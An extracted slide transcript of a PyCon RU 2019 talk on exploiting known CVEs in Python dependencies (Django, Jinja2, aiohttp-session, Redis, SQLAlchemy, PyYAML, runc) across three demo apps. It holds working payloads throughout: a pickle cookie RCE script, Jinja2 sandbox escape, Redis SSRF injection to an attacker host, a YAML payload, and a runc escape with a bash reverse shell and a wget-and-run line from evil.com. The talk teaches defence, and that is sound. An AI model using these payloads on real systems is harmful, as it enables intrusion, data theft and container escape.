PyconRU 2019. (Un)safe dependencies.

PyconRU 2019. (Un)safe dependencies.

15563b4bb24076f1801cd862f74ed3fe?s=128

Ivan Tsyganov

June 24, 2019
Tweet

Transcript

  1. Tsyganov Ivan Positive Technologies (Un)safe dependencies

  2. None
  3. A9 Using Components with Known Vulnerabilities

  4. App1 Django App2 aiohttp App3 telegram

  5. App1 Django App2 aiohttp App3 telegram Django djangorestframework Jinja2 psycopg2-binary

    python 3.6
  6. None
  7. None
  8. None
  9. None
  10. <script> document.addEventListener( 'DOMContentLoaded', function(event) { $.ajax({ url:'/api/goods/', success: function(result) {

    $(result).each(function() { $.ajax({ url:'/api/goods/'+this.id+'/', type:'DELETE' }) }) } }) } ); </script> http: //example.com
  11. <script> document.addEventListener( 'DOMContentLoaded', function(event) { $.ajax({ url:'/api/goods/', success: function(result) {

    $(result).each(function() { $.ajax({ url:'/api/goods/'+this.id+'/', type:'DELETE' }) }) } }) } ); </script> http: //example.com
  12. <script> document.addEventListener( 'DOMContentLoaded', function(event) { $.ajax({ url:'/api/goods/', success: function(result) {

    $(result).each(function() { $.ajax({ url:'/api/goods/'+this.id+'/', type:'DELETE' }) }) } }) } ); </script> http: //example.com
  13. None
  14. None
  15. None
  16. None
  17. None
  18. None
  19. None
  20. None
  21. None
  22. django-rest-framework >= 3.9.1

  23. ... APPEND_SLASH = True ... settings.py urlpatterns = [ ...

    re_path(r'^(.*)/$', universal_view), ... ] urls.py
  24. http: //app.ru //evil.com

  25. http: //app.ru //evil.com http: //evil.com

  26. None
  27. django >= 2.0.8 django >= 1.11.15 CVE-2018-14574

  28. def universal_view(request, path=None): env = SandboxedEnvironment(loader=PackageLoader('core', 'templates')) return HttpResponse( env.from_string(

    f'{{% extends "error.html" %}}' f'{{% block error_msg %}} ' f'<b>Requested path </b>: {path} not found' f'{{% endblock %}}' ).render(request=request) )
  29. def universal_view(request, path=None): env = SandboxedEnvironment(loader=PackageLoader('core', 'templates')) return HttpResponse( env.from_string(

    f'{{% extends "error.html" %}}' f'{{% block error_msg %}} ' f'<b>Requested path </b>: {path} not found' f'{{% endblock %}}' ).render(request=request) )
  30. def universal_view(request, path=None): env = SandboxedEnvironment(loader=PackageLoader('core', 'templates')) return HttpResponse( env.from_string(

    f'{{% extends "error.html" %}}' f'{{% block error_msg %}} ' f'<b>Requested path </b>: {path} not found' f'{{% endblock %}}' ).render(request=request) )
  31. def universal_view(request, path=None): env = SandboxedEnvironment(loader=PackageLoader('core', 'templates')) return HttpResponse( env.from_string(

    f'{{% extends "error.html" %}}' f'{{% block error_msg %}} ' f'<b>Requested path </b>: {path} not found' f'{{% endblock %}}' ).render(request=request) ) {{ "{x.__name__}".format_map(dict(x=request.get_host)) }}
  32. {{ "{x.__name__}".format_map(dict(x=request.get_host)) }}

  33. {{ "{x.__name__}".format_map(dict(x=request.get_host)) }}

  34. None
  35. CVE-2019-10906 Jinja2 >= 2.10.1

  36. {{ " <br>{x.__globals__[settings].SECRET_KEY} <br>{x.__globals__[settings].SESSION_ENGINE} <br>{x.__globals__[settings].SESSION_SERIALIZER} ".format_map(dict(x=request.get_host))|safe }}

  37. {{ " <br>{x.__globals__[settings].SECRET_KEY} <br>{x.__globals__[settings].SESSION_ENGINE} <br>{x.__globals__[settings].SESSION_SERIALIZER} ".format_map(dict(x=request.get_host))|safe }}

  38. {{ " <br>{x.__globals__[settings].SECRET_KEY} <br>{x.__globals__[settings].SESSION_ENGINE} <br>{x.__globals__[settings].SESSION_SERIALIZER} ".format_map(dict(x=request.get_host))|safe }}

  39. {{ " <br>{x.__globals__[settings].SECRET_KEY} <br>{x.__globals__[settings].SESSION_ENGINE} <br>{x.__globals__[settings].SESSION_SERIALIZER} ".format_map(dict(x=request.get_host))|safe }}

  40. {{ " <br>{x.__globals__[settings].SECRET_KEY} <br>{x.__globals__[settings].SESSION_ENGINE} <br>{x.__globals__[settings].SESSION_SERIALIZER} ".format_map(dict(x=request.get_host))|safe }}

  41. from django.core import signing from django.contrib.sessions.serializers import PickleSerializer def decode_sid(SID):

    return signing.loads( SID, key='-pt60pdz*)igai3kui9h1c#xverctogytxq6^ek=o6v12e%-*_', serializer=PickleSerializer, max_age=1209600, salt='django.contrib.sessions.backends.signed_cookies', ) decode_sid('gASVMgAAAAAAAAB9lIwEdXVpZJSMJGM3ODgwM ...R2DK7jU') {'uuid': 'c78801e9-db4c-4f88-b988-f47a7f3ad172'}
  42. def encode_sid(command): class Evil(): def __reduce__(self): import subprocess return (subprocess.getoutput,

    (command, )) return signing.dumps( { 'uuid': '', 'evil': Evil() }, key='-pt60pdz*)igai3kui9h1c#xverctogytxq6^ek=o6v12e%-*_', compress=True, salt='django.contrib.sessions.backends.signed_cookies', serializer=PickleSerializer, ) encode_sid("cat /etc/passwd") 'gASVRwAAAAAAAAB9lCiMBHV1aWSUjAC ...dEBLRDs4C0uLGQ5mzkLy-K_fKnc'
  43. def encode_sid(command): class Evil(): def __reduce__(self): import subprocess return (subprocess.getoutput,

    (command, )) return signing.dumps( { 'uuid': '', 'evil': Evil() }, key='-pt60pdz*)igai3kui9h1c#xverctogytxq6^ek=o6v12e%-*_', compress=True, salt='django.contrib.sessions.backends.signed_cookies', serializer=PickleSerializer, ) encode_sid("cat /etc/passwd") 'gASVRwAAAAAAAAB9lCiMBHV1aWSUjAC ...dEBLRDs4C0uLGQ5mzkLy-K_fKnc'
  44. def encode_sid(command): class Evil(): def __reduce__(self): import subprocess return (subprocess.getoutput,

    (command, )) return signing.dumps( { 'uuid': '', 'evil': Evil() }, key='-pt60pdz*)igai3kui9h1c#xverctogytxq6^ek=o6v12e%-*_', compress=True, salt='django.contrib.sessions.backends.signed_cookies', serializer=PickleSerializer, ) encode_sid("cat /etc/passwd") 'gASVRwAAAAAAAAB9lCiMBHV1aWSUjAC ...dEBLRDs4C0uLGQ5mzkLy-K_fKnc'
  45. import requests def decode_sid(SID): ... def encode_sid(command): ... result =

    decode_sid( requests.get( 'http: //target.com', cookies={ 'sessionid': encode_sid( command='cat /etc/passwd' ) } ).cookies['sessionid'] )
  46. import requests def decode_sid(SID): ... def encode_sid(command): ... result =

    decode_sid( requests.get( 'http: //target.com', cookies={ 'sessionid': encode_sid( command='cat /etc/passwd' ) } ).cookies['sessionid'] )
  47. import requests def decode_sid(SID): ... def encode_sid(command): ... result =

    decode_sid( requests.get( 'http: //target.com', cookies={ 'sessionid': encode_sid( command='cat /etc/passwd' ) } ).cookies['sessionid'] )
  48. import requests def decode_sid(SID): ... def encode_sid(command): ... result =

    decode_sid( requests.get( 'http: //target.com', cookies={ 'sessionid': encode_sid( command='cat /etc/passwd' ) } ).cookies['sessionid'] )
  49. import requests def decode_sid(SID): ... def encode_sid(command): ... result =

    decode_sid( requests.get( 'http: //target.com', cookies={ 'sessionid': encode_sid( command='cat /etc/passwd' ) } ).cookies['sessionid'] )
  50. import requests def decode_sid(SID): ... def encode_sid(command): ... result =

    decode_sid( requests.get( 'http: //target.com', cookies={ 'sessionid': encode_sid( command='cat /etc/passwd' ) } ).cookies['sessionid'] ) >>> pprint.pprint(result) {'evil': 'root:x:0:0:root:/root:/bin/bash\n' 'daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\n' 'bin:x:2:2:bin:/bin:/usr/sbin/nologin\n' 'sys:x:3:3:sys:/dev:/usr/sbin/nologin\n' 'sync:x:4:65534:sync:/bin:/bin/sync\n' 'games:x:5:60:games:/usr/games:/usr/sbin/nologin\n' 'man:x:6:12:man:/var/cache/man:/usr/sbin/nologin\n' 'lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\n' 'mail:x:8:8:mail:/var/mail:/usr/sbin/nologin\n' 'news:x:9:9:news:/var/spool/news:/usr/sbin/nologin\n' 'uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\n' 'proxy:x:13:13:proxy:/bin:/usr/sbin/nologin\n' 'gnats:x:41:41:Gnats Bug-Reporting System ' '(admin):/var/lib/gnats:/usr/sbin/nologin\n' '_apt:x:100:65534 ::/nonexistent:/bin/false', 'uuid': 'c3b29bac-3ce7-45a5-8680-3bd2a6e51307'}
  51. App1 Django App2 aiohttp App3 telegram Django djangorestframework Jinja2 psycopg2-binary

    python 3.6
  52. App2 aiohttp App3 telegram aiohttp-session aiohttp-jinja2 aioredis aiopg sqlalchemy lxml

    PyYAML python 3.6 App1 Django
  53. None
  54. None
  55. <meta Property="og:image" Content="https: //i.ebayimg.com/images/i/233117594563-0-1/s-l1000.jpg" /> <meta Property="og:title" Content="Python Cookbook, 3rd

    Edition, PDF ... | eBay" /> <meta Property="og:url" Content="https: // www.ebay.com/itm/Python-Cookbook- ...-for-Mastering-Python-" /> <meta Property="og:description" Content="If you need help writing programs in Python ... application domains." />
  56. <meta Property="og:image" Content="https: //i.ebayimg.com/images/i/233117594563-0-1/s-l1000.jpg" /> <meta Property="og:title" Content="Python Cookbook, 3rd

    Edition, PDF ... | eBay" /> <meta Property="og:url" Content="https: // www.ebay.com/itm/Python-Cookbook- ...-for-Mastering-Python-" /> <meta Property="og:description" Content="If you need help writing programs in Python ... application domains." /> ... <meta property="og:title" content="Some <script>$.ajax({url:'http: //evil.com/some_unique_path'}) </ script>Title" /> ...
  57. Some <script> $.ajax({ url:'http: //evil.com/some_unique_path' }) </script> Title

  58. [01/Jan/2010:08:29:26 +0000] "GET /some_unique_path HTTP/1.1" 404 659 "-" "Mozilla/5.0 (Macintosh;

    Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Some <script> $.ajax({ url:'http: //evil.com/some_unique_path' }) </script> Title
  59. None
  60. None
  61. <html> <head> <script type="text/javascript" src="evil-site"> </script> <link rel="alternate" type="text/rss" src="evil-rss">

    <link rel="alternate" type="text/rss" href="http: //example.com"> <link rel="stylesheet" type="text/rss" href="http: //example.com"> <meta property="og:url" content="http: //bad_url/" /> <meta property="og:type" content="article" /> <meta property="og:title" content="Some <script>if (document.cookie.includes('hckd') ===false){$.ajax({url:'/logout', success:function(resp) {document.cookie='SESSIONID=7d58112080ed4c6dbcb05c560bcbc893'; document.cookie='hckd=1'; window.location.href='/'}})} </script> Title" /> <meta property="og:description" content="Some description" /> <title>Very cool item </title> </head> ...
  62. <html> <head> <script type="text/javascript" src="evil-site"> </script> <link rel="alternate" type="text/rss" src="evil-rss">

    <link rel="alternate" type="text/rss" href="http: //example.com"> <link rel="stylesheet" type="text/rss" href="http: //example.com"> <meta property="og:url" content="http: //bad_url/" /> <meta property="og:type" content="article" /> <meta property="og:title" content="Some <script>if (document.cookie.includes('hckd') ===false){$.ajax({url:'/logout', success:function(resp) {document.cookie='SESSIONID=aabb938c659e4f3cbed7210524dc9757'; document.cookie='hckd=1'; window.location.href='/'}})} </script> Title" /> <meta property="og:description" content="Some description" /> <title>Very cool item </title> </head> ... <script> if (document.cookie.includes('hckd') ===false) { $.ajax({ url:'/logout', success:function(resp){ document.cookie='SESSIONID=7d58112080ed4c6dbcb05c560bcbc893'; document.cookie='hckd=1'; window.location.href='/' } }) } </script>
  63. <html> <head> <script type="text/javascript" src="evil-site"> </script> <link rel="alternate" type="text/rss" src="evil-rss">

    <link rel="alternate" type="text/rss" href="http: //example.com"> <link rel="stylesheet" type="text/rss" href="http: //example.com"> <meta property="og:url" content="http: //bad_url/" /> <meta property="og:type" content="article" /> <meta property="og:title" content="Some <script>if (document.cookie.includes('hckd') ===false){$.ajax({url:'/logout', success:function(resp) {document.cookie='SESSIONID=aabb938c659e4f3cbed7210524dc9757'; document.cookie='hckd=1'; window.location.href='/'}})} </script> Title" /> <meta property="og:description" content="Some description" /> <title>Very cool item </title> </head> ... <script> if (document.cookie.includes('hckd') ===false) { $.ajax({ url:'/logout', success:function(resp){ document.cookie='SESSIONID=7d58112080ed4c6dbcb05c560bcbc893'; document.cookie='hckd=1'; window.location.href='/' } }) } </script>
  64. <html> <head> <script type="text/javascript" src="evil-site"> </script> <link rel="alternate" type="text/rss" src="evil-rss">

    <link rel="alternate" type="text/rss" href="http: //example.com"> <link rel="stylesheet" type="text/rss" href="http: //example.com"> <meta property="og:url" content="http: //bad_url/" /> <meta property="og:type" content="article" /> <meta property="og:title" content="Some <script>if (document.cookie.includes('hckd') ===false){$.ajax({url:'/logout', success:function(resp) {document.cookie='SESSIONID=aabb938c659e4f3cbed7210524dc9757'; document.cookie='hckd=1'; window.location.href='/'}})} </script> Title" /> <meta property="og:description" content="Some description" /> <title>Very cool item </title> </head> ... <script> if (document.cookie.includes('hckd') ===false) { $.ajax({ url:'/logout', success:function(resp){ document.cookie='SESSIONID=7d58112080ed4c6dbcb05c560bcbc893'; document.cookie='hckd=1'; window.location.href='/'; } }) } </script>
  65. None
  66. None
  67. aiohttp-session >= 2.4.0 CVE-2018-1000519

  68. EVAL " for _, key in ipairs(redis.call('KEYS', '*')) do redis.call(

    'MIGRATE', 'evils_redis_host', 6379, key, 0, 5000, 'COPY', 'REPLACE' ) end" 0
  69. EVAL " for _, key in ipairs(redis.call('KEYS', '*')) do redis.call(

    'MIGRATE', 'evils_redis_host', 6379, key, 0, 5000, 'COPY', 'REPLACE' ) end" 0
  70. EVAL " for _, key in ipairs(redis.call('KEYS', '*')) do redis.call(

    'MIGRATE', 'evils_redis_host', 6379, key, 0, 5000, 'COPY', 'REPLACE' ) end" 0
  71. http: //redis:6379/?q=HTTP/1.1 \r\n EVAL "for _,k in ipairs(redis.call('\''KEYS'\'', '\''*'\'')) do

    redis.call('\''MIGRATE'\'', '\''evils_redis_host'\'', 6379, k, 0, 5000, '\''COPY'\'', '\''REPLACE'\'') end" 0 \r\n
  72. curl --request POST \ --url http: //target.com/goods \ --header 'content-type:

    application/x- www-form- urlencoded' \ --data 'url=http: //redis:6379/?q=HTTP/ 1.1%0D%0AEVAL "for _,k in ipairs(redis.call('\''KEYS'\'', '\''*'\'')) do redis.call('\''MIGRATE'\'', '\''evils_redis_host'\'', 6379, k, 0, 5000, '\''COPY'\'', '\''REPLACE'\'') end" 0 %0D%0A'
  73. curl --request POST \ --url http: //target.com/goods \ --header 'content-type:

    application/x- www-form- urlencoded' \ --data 'url=http: //redis:6379/?q=HTTP/ 1.1%0D%0AEVAL "for _,k in ipairs(redis.call('\''KEYS'\'', '\''*'\'')) do redis.call('\''MIGRATE'\'', '\''evils_redis_host'\'', 6379, k, 0, 5000, '\''COPY'\'', '\''REPLACE'\'') end" 0 %0D%0A'
  74. 127.0.0.1:6379> KEYS * 1) "SESSIONID_f97f4d3353da4c87b8fdc7fdce12a51a" 2) "SESSIONID_b4bb7f94651d4d1496908b9a69150f03" 3) "SESSIONID_af90efcc865f4433adcd51625c9120b4" 4)

    "SESSIONID_8f07943134724991b6a356f6b75b7030" 5) "SESSIONID_ee1eab3a789d4d63a6be31a579c98a55" 6) "SESSIONID_d3b016fa73c6422b9166553e3783a78e" 127.0.0.1:6379> GET SESSIONID_f97f4d3353da4c87b8fdc7fdce12a51a "{\"created\": 1559895192, \"session\": {\"username\": \"admin\", \"role\": \"admin\"}}"
  75. 127.0.0.1:6379> KEYS * 1) "SESSIONID_f97f4d3353da4c87b8fdc7fdce12a51a" 2) "SESSIONID_b4bb7f94651d4d1496908b9a69150f03" 3) "SESSIONID_af90efcc865f4433adcd51625c9120b4" 4)

    "SESSIONID_8f07943134724991b6a356f6b75b7030" 5) "SESSIONID_ee1eab3a789d4d63a6be31a579c98a55" 6) "SESSIONID_d3b016fa73c6422b9166553e3783a78e" 127.0.0.1:6379> GET SESSIONID_f97f4d3353da4c87b8fdc7fdce12a51a "{\"created\": 1559895192, \"session\": {\"username\": \"user1\", \"role\": \"user\"}}"
  76. curl --request POST \ --url http: //127.0.0.1/goods \ --header 'content-type:

    application/x- www-form-urlencoded' \ --data 'url=http: //redis:6379/?q=HTTP/1.1%0D%0ASET SESSIONID_ee1eab3a789d4d63a6be31a579c98a55 "{\"created\": 1559895192, \"session\": {\"username\": \"admin\", \"role\": \"admin\"}}"%0D%0AX:%0D%0A'
  77. None
  78. redis >= 3.2.7 CVE-2016-10517

  79. None
  80. python >= 3.7.3 python >= 2.7.17 CVE-2019-9947

  81. None
  82. None
  83. None
  84. id limit ( CASE WHEN( SELECT true FROM information_schema.tables WHERE

    table_name ~ '.*user.*' limit 1 ) then 1 else 0 end )
  85. id limit ( CASE WHEN( SELECT true FROM information_schema.tables WHERE

    table_name ~ '.*user.*' limit 1 ) then 1 else 0 end )
  86. id limit ( CASE WHEN( SELECT true FROM information_schema.tables WHERE

    table_name ~ '.*user.*' limit 1 ) then 1 else 0 end ) id limit ( CASE WHEN( SELECT true FROM information_schema.tables WHERE table_name = 'user' limit 1 ) then 1 else 0 end )
  87. None
  88. id limit ( CASE WHEN( SELECT true FROM users WHERE

    role = 'admin' and login = 'admin' and password ~ '.{8}' limit 1 ) then 1 else 0 end
  89. id limit ( CASE WHEN( SELECT true FROM users WHERE

    role = 'admin' and login = 'admin' and password ~ '.{8}' limit 1 ) then 1 else 0 end id limit ( CASE WHEN( SELECT true FROM users WHERE role = 'admin' and login = 'admin' and password ~ 'passw0rd' limit 1 ) then 1 else 0 end
  90. None
  91. sqlalchemy >= 1.2.17 CVE-2019-7548

  92. None
  93. None
  94. items: - name: Simple item description: Simple item description url:

    http: //my_goods.com/item1 img: http: //my_goods.com/item1.png - name: Simple item 2 description: Simple item 2 description url: http: //my_goods.com/item2 img: http: //my_goods.com/item2.png
  95. items: - name: Simple item description: Simple item description url:

    http: //my_goods.com/item1 unknown_field: !!python/object/apply:subprocess.check_output args: - ['python', '-c', 'from urllib.request import urlopen; urlopen("http: //evil_nginx/evil.html").getcode(); exit(0);'] img: http: //my_goods.com/item1.png
  96. [1/Jan/2010:07:14:37 +0000] "GET /evil.html HTTP/1.1" 200 1126 "-" "Python-urllib/3.6" "-"

    items: - name: Simple item description: Simple item description url: http: //my_goods.com/item1 unknown_field: !!python/object/apply:subprocess.check_output args: - ['python', '-c', 'from urllib.request import urlopen; urlopen("http: //evil_nginx/evil.html").getcode(); exit(0);'] img: http: //my_goods.com/item1.png
  97. None
  98. None
  99. PyYAML >= 5.1 CVE-2017-18342

  100. App2 aiohttp App3 telegram aiohttp-session aiohttp-jinja2 aioredis aiopg sqlalchemy lxml

    PyYAML python 3.6 App1 Django
  101. App3 telegram pyTelegramBotAPI flask python 2.7.9 App1 Django App2 aiohttp

  102. None
  103. None
  104. file: ///etc/

  105. None
  106. None
  107. file: ///code/bot.py

  108. None
  109. None
  110. python >= 3.7.3 python >= 2.7.17 CVE-2019-9948

  111. API_TOKEN = '<HIDDEN_TOKEN>' WEBHOOK_HOST = 'target.com' WEBHOOK_PORT = 443 WEBHOOK_LISTEN

    = '0.0.0.0' WEBHOOK_SSL_CERT = './cert.pem' WEBHOOK_SSL_PRIV = './privkey.pem' WEBHOOK_URL_BASE = "https: //%s:%s" % (WEBHOOK_HOST, WEBHOOK_PORT) WEBHOOK_URL_PATH = "/secret_bot_hook/"
  112. ... OWNER_ID = 11111111 ... @bot.message_handler(func=lambda message: message.from_user.id ==OWNER_ID, content_types=['text'],

    commands=['run']) def run_command(message): try: import commands _, _, command = message.text.partition(' ') status, output = commands.getstatusoutput(command) bot.send_message(message.chat.id, output) except: from traceback import format_exc bot.send_message(message.chat.id, format_exc())
  113. ... OWNER_ID = 11111111 ... @bot.message_handler(func=lambda message: message.from_user.id ==OWNER_ID, content_types=['text'],

    commands=['run']) def run_command(message): try: import commands _, _, command = message.text.partition(' ') status, output = commands.getstatusoutput(command) bot.send_message(message.chat.id, output) except: from traceback import format_exc bot.send_message(message.chat.id, format_exc())
  114. ... OWNER_ID = 11111111 ... @bot.message_handler(func=lambda message: message.from_user.id ==OWNER_ID, content_types=['text'],

    commands=['run']) def run_command(message): try: import commands _, _, command = message.text.partition(' ') status, output = commands.getstatusoutput(command) bot.send_message(message.chat.id, output) except: from traceback import format_exc bot.send_message(message.chat.id, format_exc())
  115. curl --request POST --url 'https: //target.com/ bot_hook/' --header 'content-type: application/json'

    --data '{"update_id": 0, "message": {"message_id": 0, "from": {"id": 11111111, "is_bot": false, "first_name": "Some", "last_name": "User", "username": "some_user", "language_code": "en"}, "chat": {"id": 777777777, "first_name": "Some", "last_name": "User", "username": "some_user", "type": "private"}, "date": 0, "text": "/run cat /etc/ passwd", "entities": [{"offset": 0, "length": 4, "type": "bot_command"}]}}'
  116. curl --request POST --url 'https: //target.com/ bot_hook/' --header 'content-type: application/json'

    --data '{"update_id": 0, "message": {"message_id": 0, "from": {"id": 11111111, "is_bot": false, "first_name": "Some", "last_name": "User", "username": "some_user", "language_code": "en"}, "chat": {"id": 777777777, "first_name": "Some", "last_name": "User", "username": "some_user", "type": "private"}, "date": 0, "text": "/run cat /etc/ passwd", "entities": [{"offset": 0, "length": 4, "type": "bot_command"}]}}'
  117. curl --request POST --url 'https: //target.com/ bot_hook/' --header 'content-type: application/json'

    --data '{"update_id": 0, "message": {"message_id": 0, "from": {"id": 11111111, "is_bot": false, "first_name": "Some", "last_name": "User", "username": "some_user", "language_code": "en"}, "chat": {"id": 777777777, "first_name": "Some", "last_name": "User", "username": "some_user", "type": "private"}, "date": 0, "text": "/run cat /etc/ passwd", "entities": [{"offset": 0, "length": 4, "type": "bot_command"}]}}'
  118. curl --request POST --url 'https: //target.com/ bot_hook/' --header 'content-type: application/json'

    --data '{"update_id": 0, "message": {"message_id": 0, "from": {"id": 11111111, "is_bot": false, "first_name": "Some", "last_name": "User", "username": "some_user", "language_code": "en"}, "chat": {"id": 777777777, "first_name": "Some", "last_name": "User", "username": "some_user", "type": "private"}, "date": 0, "text": "/run cat /etc/ passwd", "entities": [{"offset": 0, "length": 4, "type": "bot_command"}]}}'
  119. curl --request POST --url 'https: //target.com/ bot_hook/' --header 'content-type: application/json'

    --data '{"update_id": 0, "message": {"message_id": 0, "from": {"id": 11111111, "is_bot": false, "first_name": "Some", "last_name": "User", "username": "some_user", "language_code": "en"}, "chat": {"id": 777777777, "first_name": "Some", "last_name": "User", "username": "some_user", "type": "private"}, "date": 0, "text": "/run cat /etc/ passwd", "entities": [{"offset": 0, "length": 4, "type": "bot_command"}]}}'
  120. None
  121. App3 telegram pyTelegramBotAPI flask python 2.7.9 App1 Django App2 aiohttp

  122. App1 Django App2 aiohttp App3 telegram

  123. App1 Django App2 aiohttp App3 telegram Pickle.load RCE

  124. App1 Django App2 aiohttp App3 telegram Pickle.load RCE yaml.load RCE

  125. App1 Django App2 aiohttp App3 telegram Pickle.load RCE yaml.load RCE

    Broken Access RCE
  126. App1 Django App2 aiohttp App3 telegram Pickle.load RCE yaml.load RCE

    Broken Access RCE
  127. App1 Django App2 aiohttp App3 telegram Pickle.load RCE yaml.load RCE

    Broken Access RCE import os import stat target_file = '/bin/sh' with open(target_file, 'w') as evil: evil.write('#!/proc/self/exe') os.chmod(target_file, stat.S_IXOTH) write_handler = None while not write_handler: for pid in os.popen('ps -A -o pid'): pid = pid.strip() if pid == 'PID': continue try: with open(f'/proc/{pid}/cmdline', 'r') as cmdline: if cmdline.read().find('runc') >= 0: handler = os.open(f'/proc/{pid}/exe', os.O_PATH) handler_path=f'/proc/self/fd/{str(handler)}' write_handler = os.open(handler_path, os.O_WRONLY | os.O_TRUNC) break except Exception: continue payload = b'#!/bin/bash\nbash -i >& /dev/tcp/127.0.0.1/4444 0>&1\n' result = os.write(write_handler, payload) exploit.py
  128. App1 Django App2 aiohttp App3 telegram Pickle.load RCE yaml.load RCE

    Broken Access RCE import os import stat target_file = '/bin/sh' with open(target_file, 'w') as evil: evil.write('#!/proc/self/exe') os.chmod(target_file, stat.S_IXOTH) write_handler = None while not write_handler: for pid in os.popen('ps -A -o pid'): pid = pid.strip() if pid == 'PID': continue try: with open(f'/proc/{pid}/cmdline', 'r') as cmdline: if cmdline.read().find('runc') >= 0: handler = os.open(f'/proc/{pid}/exe', os.O_PATH) handler_path=f'/proc/self/fd/{str(handler)}' write_handler = os.open(handler_path, os.O_WRONLY | os.O_TRUNC) break except Exception: continue payload = b'#!/bin/bash\nbash -i >& /dev/tcp/127.0.0.1/4444 0>&1\n' result = os.write(write_handler, payload) exploit.py
  129. root@attacker:/root# nc -k -l 4444

  130. App1 Django App2 aiohttp App3 telegram Pickle.load RCE yaml.load RCE

    Broken Access RCE wget http: //evil.com/exploit.py -O exp.py && python exp.py
  131. root@attacker:/root# nc -k -l 4444 root@target:/root#

  132. root@attacker:/root# nc -k -l 4444 root@target:/root# whoami

  133. root@attacker:/root# nc -k -l 4444 root@target:/root# whoami whoami root root@target:/root#

  134. root@attacker:/root# nc -k -l 4444 root@target:/root# whoami whoami root root@target:/root#

    cat /etc/passwd
  135. root@attacker:/root# nc -k -l 4444 root@target:/root# whoami whoami root root@target:/root#

    cat /etc/passwd cat /etc/passwd root:x:0:0:root:/root:/bin/bash bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync ...
  136. None
  137. docker >= 18.09.2 CVE-2019-5736

  138. App1 Django App2 aiohttp App3 telegram Pickle.load RCE yaml.load RCE

    Broken Access RCE runc allows attackers to overwrite the host runc binary
  139. How to prevent ✤ Remove unused dependencies and documentation

  140. How to prevent ✤ Remove unused dependencies and documentation ✤

    Obtain components from pip or official sources
  141. How to prevent ✤ Remove unused dependencies and documentation ✤

    Obtain components from pip or official sources distrib djanga easyinstall junkeldat libpeshka mumpy mybiubiubiu nmap-python openvc python-ftp pythonkafka python-mongo python-mysql python-mysqldb python-openssl python-sqlite smb virtualnv
  142. How to prevent ✤ Remove unused dependencies and documentation ✤

    Obtain components from pip or official sources ✤ Monitor https://cve.mitre.org and https://nvd.nist.gov
  143. How to prevent ✤ Remove unused dependencies and documentation ✤

    Obtain components from pip or official sources ✤ Monitor https://cve.mitre.org and https://nvd.nist.gov ✤ Use web application firewall
  144. How to prevent ✤ Remove unused dependencies and documentation ✤

    Obtain components from pip or official sources ✤ Monitor https://cve.mitre.org and https://nvd.nist.gov ✤ Use web application firewall XSS CSRF Open redirect Error leakage SQL-injection XML-inject
  145. How to prevent ✤ Remove unused dependencies and documentation ✤

    Obtain components from pip or official sources ✤ Monitor https://cve.mitre.org and https://nvd.nist.gov ✤ Use web application firewall ✤ Configure used software
  146. UPDATE KEEP CALM AND DEPENDECIES

  147. Thank you!

  148. Thank you! @pt_pycon_bot